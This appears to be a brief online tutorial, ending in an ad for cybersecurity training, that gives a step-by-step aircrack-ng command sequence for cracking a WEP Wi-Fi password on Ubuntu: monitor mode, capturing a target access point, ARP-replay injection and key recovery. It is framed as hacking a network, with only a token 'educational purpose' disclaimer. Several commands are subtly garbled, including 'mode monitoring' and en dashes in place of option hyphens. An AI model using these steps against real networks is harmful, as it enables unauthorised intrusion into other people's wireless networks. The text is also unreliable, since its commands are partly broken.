To hack a wifi password using ubuntu:
sudo apt-get install aircrack-ng
# iwconfig wlan0 mode monitoring
Note: If some sort of error occurs type “# iwconfig” in a terminal to check for your wireless.
# airodump-ng wlan0
Once you’ve found one, abort the process with Ctrl+C. Now when we have got our target it’s time to collect some information about the network. First of all copy the MAC Address of the access point which stands for BSSID (should look something like 00:15:EB:E7: …). Another thing is that we need to know the channel it’s currently working on (could see that under CH – e.g. 6). So let’s gather our information with airodump-ng.
# airodump-ng –w wep –c 6 –bssid 00:15:EB:E7: … wlan0
# aireplay-ng -3 –b 00:15:EB:E7: … wlan0
# aircrack-ng wep-03.cap
Then you should see that the key has been decrypted 100% successfully and the key itself.
Note: Its For Educational Purpose Only.
Hope this helps!
To know more, join our Cybersecurity Training in NYC today.